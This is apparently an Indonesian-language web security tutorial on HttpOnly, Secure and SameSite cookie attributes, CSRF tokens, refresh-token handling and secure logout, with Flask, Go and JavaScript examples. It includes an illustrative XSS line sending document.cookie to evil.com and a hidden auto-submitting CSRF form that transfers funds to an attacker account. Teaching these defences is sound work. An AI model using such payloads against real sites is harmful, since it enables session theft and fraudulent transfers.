Http Only Cookie #

Ketika developer baru pertama kali mengimplementasikan autentikasi berbasis token, pola yang paling sering dipilih adalah: simpan token di localStorage, baca dengan JavaScript, kirim di header Authorization. Pola ini terasa intuitif dan mudah — JavaScript bisa membaca token kapan saja, tidak perlu konfigurasi khusus, bekerja lintas domain dengan mudah.

Yang tidak langsung terlihat: setiap token yang bisa dibaca JavaScript juga bisa dicuri oleh JavaScript. Dan JavaScript yang berjalan di browser user tidak selalu JavaScript yang kamu tulis — bisa juga JavaScript dari XSS, dari third-party script yang dikompromikan, atau dari library npm yang mengandung malicious code. Satu titik kelemahan di mana script asing bisa berjalan, dan semua token di localStorage menjadi milik attacker.

HttpOnly cookie menyelesaikan masalah ini dengan cara yang elegan: token disimpan di cookie yang tidak bisa diakses JavaScript sama sekali. Browser mengirimkannya otomatis di setiap request, tapi tidak ada API JavaScript yang bisa membacanya — bahkan di bawah XSS sekalipun. Hasilnya: session yang dicuri via JavaScript menjadi mustahil, meskipun ada celah XSS di aplikasi.

Cookie adalah pasangan key-value yang disimpan oleh browser dan dikirim otomatis ke server di setiap request yang cocok. Setiap cookie bisa dikonfigurasi dengan sejumlah atribut yang menentukan kapan, di mana, dan bagaimana ia dikirim.

Anatomi cookie lengkap:

Set-Cookie: session=eyJhbGc...; \
  HttpOnly; \
  Secure; \
  SameSite=Lax; \
  Path=/; \
  Domain=app.contoh.com; \
  Max-Age=86400

Penjelasan setiap atribut:
  session=eyJhbGc...    → nama dan nilai cookie
  HttpOnly              → JavaScript tidak bisa membaca/menulis cookie ini
  Secure                → hanya dikirim via HTTPS, tidak pernah via HTTP
  SameSite=Lax          → kapan cookie dikirim pada cross-site request
  Path=/                → cookie berlaku untuk semua path di domain ini
  Domain=app.contoh.com → cookie hanya untuk subdomain ini (bukan .contoh.com)
  Max-Age=86400         → expire setelah 86400 detik (1 hari)

Kelima atribut pertama adalah yang paling penting untuk keamanan. Setiap satu di antaranya yang hilang membuka celah yang berbeda.


HttpOnly: Memutus Akses JavaScript #

Atribut HttpOnly mencegah JavaScript mengakses cookie melalui document.cookie, fetch, atau API browser apapun. Cookie tetap dikirim oleh browser di setiap HTTP request yang cocok — tapi tidak bisa dibaca, dimodifikasi, atau dihapus dari JavaScript.

// Tanpa HttpOnly — cookie bisa dibaca JavaScript
document.cookie
// → "session=eyJhbGc...; analytics_id=xyz; preferences=dark"
// Semua cookie yang tidak HttpOnly terlihat di sini

// Dengan HttpOnly pada cookie session — cookie tidak muncul di document.cookie
document.cookie
// → "analytics_id=xyz; preferences=dark"
// session cookie tidak ada di sini, meskipun browser tetap mengirimnya ke server

// Attacker yang berhasil XSS pun tidak bisa mencuri token:
fetch('https://evil.com/steal?c=' + document.cookie)
// Cookie session tidak ada dalam document.cookie — tidak bisa dicuri
sequenceDiagram
    participant JS as JavaScript (XSS/Third-party)
    participant B as Browser
    participant S as Server

    Note over JS,S: Skenario tanpa HttpOnly
    JS->>B: document.cookie
    B->>JS: "session=eyJhbGc..." ← token dicuri!
    JS->>S: fetch evil.com?c=eyJhbGc...
    Note right of S: Attacker dapat session token

    Note over JS,S: Skenario dengan HttpOnly
    JS->>B: document.cookie
    B->>JS: "" (cookie session tidak ada di sini)
    B->>S: [HTTP Request] Cookie: session=eyJhbGc...
    Note right of S: Hanya server yang dapat token

Secure: Memastikan Token Tidak Bisa Di-sniff #

Atribut Secure memastikan cookie hanya dikirim melalui koneksi HTTPS. Tanpa atribut ini, browser mengirimkan cookie bahkan melalui HTTP biasa — yang bisa di-sniff oleh attacker di jaringan yang sama (coffee shop, hotel, kantor).

Serangan tanpa Secure — SSL Stripping:

  User di coffee shop terhubung ke WiFi
  ↓
  Attacker menjalankan man-in-the-middle attack
  ↓
  Attacker mengubah HTTPS link menjadi HTTP (SSL stripping)
  ↓
  User membuat request ke http://app.contoh.com (bukan HTTPS)
  ↓
  Cookie tanpa Secure flag ikut terkirim via HTTP
  ↓
  Attacker bisa sniff cookie dari traffic HTTP yang tidak terenkripsi
  ↓
  Session dicuri

  Dengan Secure flag:
  Browser menolak mengirim cookie via HTTP
  → Serangan SSL stripping tidak bisa mencuri cookie
Secure flag wajib di production. Di local development yang menggunakan HTTP, kamu perlu menonaktifkannya sementara atau menggunakan HTTPS lokal. Jangan pernah deploy ke production tanpa Secure flag pada cookie yang menyimpan token autentikasi.

SameSite: Melindungi dari CSRF #

Atribut SameSite mengontrol kapan browser mengirimkan cookie pada cross-site request. Ini adalah mekanisme pertahanan utama terhadap CSRF (Cross-Site Request Forgery).

Tiga nilai SameSite dan implikasinya:

  SameSite=Strict:
  Cookie TIDAK dikirim pada cross-site request apapun.
  Termasuk saat user mengklik link dari halaman lain.

  Contoh:
  User sedang di google.com, klik link ke bank.com
  → Cookie bank.com dengan SameSite=Strict tidak dikirim
  → User harus login ulang

  Cocok untuk: admin panel, dashboard internal, aplikasi sensitif
  Tidak cocok untuk: aplikasi publik (user selalu diminta login ulang)

  ──────────────────────────────────────────────────────────

  SameSite=Lax (default modern browser):
  Cookie dikirim pada top-level navigation (klik link, redirect)
  tapi TIDAK dikirim pada sub-resource request dari cross-site
  (img, iframe, fetch, XHR)

  Contoh:
  - User klik link dari email ke app.com → cookie dikirim ✓
  - Script di evil.com fetch ke app.com → cookie TIDAK dikirim ✓
  - Form POST dari evil.com ke app.com → cookie TIDAK dikirim ✓

  Cocok untuk: sebagian besar aplikasi web publik

  ──────────────────────────────────────────────────────────

  SameSite=None; Secure:
  Cookie dikirim pada semua request, termasuk cross-site.
  Wajib dikombinasikan dengan Secure.

  Cocok untuk: third-party widget, SSO antar domain, payment gateway
  Tidak cocok untuk: session autentikasi utama
# Implementasi cookie dengan semua atribut yang tepat (Flask)
from flask import make_response
from datetime import timedelta

def set_auth_cookie(response, session_token, remember_me=False):
    max_age = timedelta(days=30) if remember_me else timedelta(hours=8)

    response.set_cookie(
        key='session',
        value=session_token,
        max_age=int(max_age.total_seconds()),
        httponly=True,         # tidak bisa diakses JavaScript
        secure=True,           # hanya via HTTPS (nonaktifkan di local dev)
        samesite='Lax',        # perlindungan CSRF dasar
        path='/',              # berlaku untuk semua path
        domain=None,           # tidak set domain = hanya untuk exact host
    )
    return response

# Untuk endpoint login:
@app.route('/login', methods=['POST'])
def login():
    # ... validasi credentials ...
    session_token = create_session(user.id)

    response = make_response(jsonify({'status': 'ok', 'user_id': user.id}))
    set_auth_cookie(response, session_token)
    return response
// Implementasi di Go (net/http)
func setAuthCookie(w http.ResponseWriter, sessionToken string) {
    http.SetCookie(w, &http.Cookie{
        Name:     "session",
        Value:    sessionToken,
        Path:     "/",
        MaxAge:   28800,          // 8 jam dalam detik
        HttpOnly: true,           // tidak bisa diakses JavaScript
        Secure:   true,           // hanya via HTTPS
        SameSite: http.SameSiteLaxMode,
    })
}

// Untuk logout — invalidasi cookie
func logout(w http.ResponseWriter, r *http.Request) {
    // Hapus cookie dengan mengset MaxAge = -1 (atau Expires di masa lalu)
    http.SetCookie(w, &http.Cookie{
        Name:     "session",
        Value:    "",
        Path:     "/",
        MaxAge:   -1,            // hapus cookie
        HttpOnly: true,
        Secure:   true,
        SameSite: http.SameSiteLaxMode,
    })

    // Invalidasi session di server (penting!)
    sessionID := getSessionFromCookie(r)
    invalidateSession(sessionID)
}

Perdebatan antara menyimpan token di cookie vs localStorage sering disederhanakan menjadi “keduanya ada kekurangannya”. Tapi kekurangannya sangat tidak simetris.

Perbandingan cookie (HttpOnly) vs localStorage:

┌─────────────────────────┬────────────────────────┬────────────────────────┐
│ Aspek                   │ HttpOnly Cookie        │ localStorage           │
├─────────────────────────┼────────────────────────┼────────────────────────┤
│ Bisa dicuri via XSS     │ Tidak                  │ Ya — langsung          │
│ Bisa dicuri via CSRF    │ Bisa (dengan mitigasi) │ Tidak (tidak otomatis) │
│ Otomatis dikirim server │ Ya                     │ Tidak (manual di JS)   │
│ Bekerja lintas subdomain│ Bisa (atur Domain)     │ Tidak (same-origin)    │
│ Persist setelah tab tutup│ Bisa (Max-Age)        │ Ya (selalu)            │
│ Bisa diakses JS         │ Tidak                  │ Ya                     │
│ Risiko XSS              │ Rendah (token aman)    │ Tinggi (token dicuri)  │
│ Risiko CSRF             │ Perlu mitigasi         │ Tidak ada CSRF         │
│ Kemudahan implementasi  │ Perlu konfigurasi      │ Mudah                  │
└─────────────────────────┴────────────────────────┴────────────────────────┘

Kesimpulan:
XSS jauh lebih umum dari CSRF (dan CSRF bisa dimitigasi dengan SameSite + CSRF token)
→ HttpOnly Cookie lebih aman untuk token autentikasi
→ localStorage untuk token autentikasi adalah pilihan yang salah

Salah satu kelemahan HttpOnly cookie adalah cookie dikirim otomatis oleh browser pada setiap request ke domain yang sesuai — termasuk request yang dipicu dari website lain. Inilah dasar dari serangan CSRF.

Serangan CSRF yang memanfaatkan cookie:

  1. User login ke bank.com → mendapat cookie session (HttpOnly)
  2. User mengunjungi evil.com (tetap punya session bank yang aktif)
  3. evil.com memiliki form tersembunyi:
     <form action="https://bank.com/transfer" method="POST">
       <input name="to" value="attacker_account">
       <input name="amount" value="10000000">
     </form>
     <script>document.forms[0].submit()</script>
  4. Browser mengirim POST ke bank.com — termasuk cookie session!
  5. Bank.com menerima request yang terlihat valid

  Dengan localStorage:
  Browser tidak otomatis mengirim token → CSRF tidak terjadi
  Tapi... semua XSS bisa mencuri token dari localStorage

  Trade-off yang jelas: CSRF vs XSS
  HttpOnly + SameSite + CSRF token mengatasi kedua risiko

Cara menangani CSRF dengan cookie: kombinasikan HttpOnly cookie dengan CSRF token. Cookie menyimpan session, CSRF token (yang berbeda untuk setiap form) memverifikasi bahwa request berasal dari halaman yang legitimate.

# Implementasi CSRF protection dengan Flask-WTF
from flask_wtf.csrf import CSRFProtect, generate_csrf

csrf = CSRFProtect(app)

# Setiap form HTML otomatis dapat CSRF token
# Di template:
# <form method="POST">
#     {{ form.hidden_tag() }}  ← CSRF token otomatis dimasukkan
#     ...
# </form>

# Untuk API endpoint yang diakses via JavaScript (SPA):
@app.route('/api/transfer', methods=['POST'])
def transfer():
    # Flask-WTF mengecek CSRF token dari header X-CSRFToken
    # Token ini bisa diambil dari cookie csrf_token (yang TIDAK HttpOnly)
    # lalu dikirim sebagai header oleh JavaScript
    pass

# Setup CSRF token yang bisa dibaca JavaScript (bukan HttpOnly!)
@app.after_request
def inject_csrf_token(response):
    response.set_cookie(
        'csrf_token',
        generate_csrf(),
        secure=True,
        samesite='Lax'
        # Tidak ada HttpOnly! JavaScript perlu membaca ini untuk dikirim sebagai header
    )
    return response
// Frontend: ambil CSRF token dari cookie dan kirim sebagai header
function getCookie(name) {
    const match = document.cookie.match(new RegExp('(^| )' + name + '=([^;]+)'));
    return match ? match[2] : null;
}

// Setiap request yang memodifikasi data harus menyertakan CSRF token
async function transferFunds(to, amount) {
    const csrfToken = getCookie('csrf_token');  // bisa dibaca karena tidak HttpOnly

    const response = await fetch('/api/transfer', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            'X-CSRFToken': csrfToken  // server verifikasi header ini
        },
        body: JSON.stringify({ to, amount }),
        credentials: 'include'  // sertakan session cookie (HttpOnly)
    });
    return response.json();
}

Pola Token Refresh yang Aman #

Aplikasi modern sering menggunakan access token yang short-lived dikombinasikan dengan refresh token. Pola yang aman menggunakan cookie untuk keduanya dengan konfigurasi berbeda.

sequenceDiagram
    participant C as Client (Browser)
    participant A as Auth Server
    participant R as Resource Server

    C->>A: POST /login {email, password}
    A->>C: Set-Cookie: access_token=...; HttpOnly; Secure; Max-Age=900
           Set-Cookie: refresh_token=...; HttpOnly; Secure; Path=/auth/refresh; Max-Age=2592000

    Note over C: Access token: 15 menit<br/>Refresh token: 30 hari<br/>Keduanya HttpOnly

    C->>R: GET /api/data [Cookie: access_token=...]
    R->>C: 200 OK {data...}

    Note over C: 15 menit berlalu, access token expired

    C->>R: GET /api/data [Cookie: access_token=expired]
    R->>C: 401 Unauthorized

    C->>A: POST /auth/refresh [Cookie: refresh_token=...]
    A->>C: Set-Cookie: access_token=NEW...; HttpOnly; Secure; Max-Age=900
    C->>R: GET /api/data [Cookie: access_token=NEW...]
    R->>C: 200 OK {data...}
# Implementasi token refresh yang aman
@app.route('/auth/refresh', methods=['POST'])
def refresh_tokens():
    # Ambil refresh token dari cookie (tidak dari body request)
    refresh_token = request.cookies.get('refresh_token')

    if not refresh_token:
        return jsonify({'error': 'No refresh token'}), 401

    # Validasi refresh token
    try:
        payload = verify_refresh_token(refresh_token)
    except InvalidTokenError:
        # Hapus cookie yang tidak valid
        response = make_response(jsonify({'error': 'Invalid refresh token'}), 401)
        response.delete_cookie('refresh_token')
        return response

    # Generate token baru
    new_access_token = create_access_token(payload['user_id'])
    new_refresh_token = create_refresh_token(payload['user_id'])

    # Rotate refresh token (hapus yang lama, buat yang baru)
    invalidate_refresh_token(refresh_token)

    response = make_response(jsonify({'status': 'ok'}))

    # Access token: short-lived, bisa dibaca dari semua path
    response.set_cookie(
        'access_token', new_access_token,
        httponly=True, secure=True, samesite='Lax',
        max_age=900,    # 15 menit
        path='/'
    )

    # Refresh token: long-lived, HANYA dikirim ke /auth/refresh
    response.set_cookie(
        'refresh_token', new_refresh_token,
        httponly=True, secure=True, samesite='Lax',
        max_age=2592000,        # 30 hari
        path='/auth/refresh'    # path terbatas — penting!
    )

    return response
Mengapa refresh token harus dibatasi path-nya:

  path='/auth/refresh' berarti:
  → Cookie hanya dikirim ke /auth/refresh
  → Request ke /api/*, /admin/*, dsb tidak menyertakan refresh_token
  → Jika ada SSRF atau request yang tidak terduga ke domain ini,
    refresh_token tidak ikut terekspos

  path='/' (tidak terbatas) berarti:
  → Refresh token dikirim ke semua endpoint
  → Jika ada endpoint yang bocor token (SSRF, log request headers),
    refresh token ikut terekspos

Browser modern mendukung dua cookie prefix yang menambahkan perlindungan ekstra tanpa konfigurasi tambahan:

Cookie prefix yang tersedia:

  __Secure- prefix:
  → Browser hanya menerima cookie ini jika memenuhi:
    - Dikirim via HTTPS
    - Memiliki Secure flag
  Contoh: __Secure-session=eyJhbGc...

  __Host- prefix (lebih ketat):
  → Browser hanya menerima cookie ini jika memenuhi:
    - Dikirim via HTTPS
    - Memiliki Secure flag
    - Path harus /
    - Tidak ada Domain attribute (hanya untuk exact host, bukan subdomain)
  Contoh: __Host-session=eyJhbGc...

  Keuntungan __Host-:
  Mencegah cookie injection dari subdomain yang dikompromikan.
  Jika evil.app.contoh.com dikompromikan, ia tidak bisa set cookie
  yang berlaku untuk app.contoh.com.
# Menggunakan __Host- prefix (rekomendasi untuk cookie session)
response.set_cookie(
    '__Host-session',    # prefix menambahkan constraint otomatis
    value=session_token,
    httponly=True,
    secure=True,
    samesite='Lax',
    path='/',            # wajib '/' untuk __Host- prefix
    # domain tidak di-set — wajib untuk __Host- prefix
)

Logout yang Benar #

Salah satu kesalahan yang sering terjadi: logout hanya menghapus cookie di client tanpa menginvalidasi session di server.

# ANTI-PATTERN: logout hanya hapus cookie, tidak invalidasi session di server
@app.route('/logout')
def logout_unsafe():
    response = make_response(redirect('/'))
    response.delete_cookie('session')
    # Session di server masih aktif!
    # Jika attacker sudah mencuri token sebelumnya, mereka masih bisa pakai
    return response

# BENAR: invalidasi session di server SEBELUM hapus cookie
@app.route('/logout')
def logout_safe():
    session_token = request.cookies.get('session')

    if session_token:
        # Invalidasi session di database/Redis
        invalidate_session(session_token)

    response = make_response(redirect('/login'))

    # Hapus semua auth cookie
    response.set_cookie('session', '', expires=0, httponly=True,
                        secure=True, samesite='Lax')
    response.set_cookie('refresh_token', '', expires=0, httponly=True,
                        secure=True, samesite='Lax', path='/auth/refresh')

    return response

Anti-Pattern yang Harus Dihindari #

# ✗ Anti-pattern 1: token autentikasi tanpa HttpOnly
response.set_cookie('token', jwt_token)
# JavaScript bisa baca: document.cookie → "token=eyJhbGc..."
# XSS = token dicuri

# ✗ Anti-pattern 2: Secure flag tidak ada di production
response.set_cookie('session', token, httponly=True)  # lupa Secure!
# Cookie dikirim via HTTP di jaringan yang tidak aman

# ✗ Anti-pattern 3: SameSite=None tanpa Secure
response.set_cookie('session', token, samesite='None')  # tanpa Secure
# Browser modern menolak cookie ini

# ✗ Anti-pattern 4: menyimpan JWT di localStorage
localStorage.setItem('access_token', jwt)
// XSS bisa baca: localStorage.getItem('access_token')

# ✗ Anti-pattern 5: Domain terlalu luas
response.set_cookie('session', token, domain='.contoh.com')
# Cookie berlaku untuk semua subdomain termasuk evil.contoh.com
# Subdomain yang dikompromikan bisa baca cookie ini

# ✗ Anti-pattern 6: logout tanpa invalidasi server-side
# Hanya delete cookie, tidak hapus session di database/Redis
response.delete_cookie('session')
# Token yang sudah dicuri attacker sebelum logout masih valid

ATRIBUT COOKIE:
  □ HttpOnly: true — untuk semua cookie yang menyimpan token autentikasi
  □ Secure: true — wajib di production
  □ SameSite: Lax atau Strict — sesuai kebutuhan aplikasi
  □ Max-Age atau Expires — jangan biarkan cookie tidak punya expiry
  □ Path: terbatas sesuai kebutuhan (refresh token hanya ke /auth/refresh)
  □ Domain: tidak di-set (biarkan default) atau set sesempit mungkin

PENYIMPANAN TOKEN:
  □ Session token / refresh token: HttpOnly cookie
  □ CSRF token: cookie biasa (bukan HttpOnly, perlu dibaca JS)
  □ Access token untuk SPA: bisa di cookie atau memory JS (bukan localStorage)
  □ Tidak ada token autentikasi di localStorage atau sessionStorage

CSRF PROTECTION:
  □ SameSite=Lax minimum untuk semua cookie autentikasi
  □ CSRF token untuk endpoint yang memodifikasi data
  □ Origin atau Referer header divalidasi untuk request sensitif

LIFECYCLE:
  □ Session di-invalidasi di server saat logout (bukan hanya hapus cookie)
  □ Refresh token di-rotate setiap kali digunakan
  □ Session expired setelah idle timeout yang wajar
  □ Session expired setelah absolute timeout (meski aktif)

PREFIX:
  □ Pertimbangkan __Host- prefix untuk cookie session
  □ Pastikan tidak ada subdomain yang bisa inject cookie ke parent domain

Ringkasan #

  • HttpOnly adalah fondasi keamanan token autentikasi — cookie dengan HttpOnly tidak bisa diakses JavaScript, memutus vektor pencurian token via XSS meskipun ada celah XSS di aplikasi.
  • HttpOnly tidak mencegah XSS — ia mencegah konsekuensi terparahnya — session tidak bisa dicuri, tapi attacker masih bisa melakukan hal lain via XSS. Perbaiki XSS-nya, tapi gunakan HttpOnly sebagai defense in depth.
  • Secure flag wajib di production — tanpa Secure, cookie dikirim via HTTP yang bisa di-sniff di jaringan terbuka. HttpOnly + Secure harus selalu berpasangan.
  • SameSite=Lax adalah default yang tepat untuk sebagian besar aplikasi — melindungi dari CSRF pada request cross-site sambil tetap memungkinkan navigasi normal.
  • localStorage tidak aman untuk token autentikasi — setiap XSS bisa langsung membaca localStorage. Cookie HttpOnly jauh lebih aman meskipun perlu penanganan CSRF.
  • CSRF adalah trade-off dari cookie, bukan alasan menghindarinya — HttpOnly + SameSite + CSRF token mengatasi CSRF. Kombinasi ini lebih aman dari localStorage yang terbuka terhadap XSS.
  • Refresh token butuh pembatasan path — simpan refresh token dengan path='/auth/refresh' sehingga ia hanya dikirim ke endpoint yang memang membutuhkannya, bukan ke semua endpoint.
  • Logout harus invalidasi session di server — menghapus cookie di client tidak cukup. Token yang sudah dicuri sebelum logout tetap valid jika session tidak di-invalidasi di server.
  • Cookie prefix __Host- menambahkan perlindungan terhadap subdomain attack — mencegah subdomain yang dikompromikan untuk inject cookie ke parent domain.
  • CSRF token (bukan HttpOnly) dan session cookie (HttpOnly) bekerja bersama — CSRF token perlu bisa dibaca JavaScript untuk dikirim sebagai header, session cookie perlu HttpOnly agar tidak dicuri.

← Sebelumnya: XSS Attack   Berikutnya: Session Hijacking →

About | Author | Content Scope | Editorial Policy | Privacy Policy | Disclaimer | Contact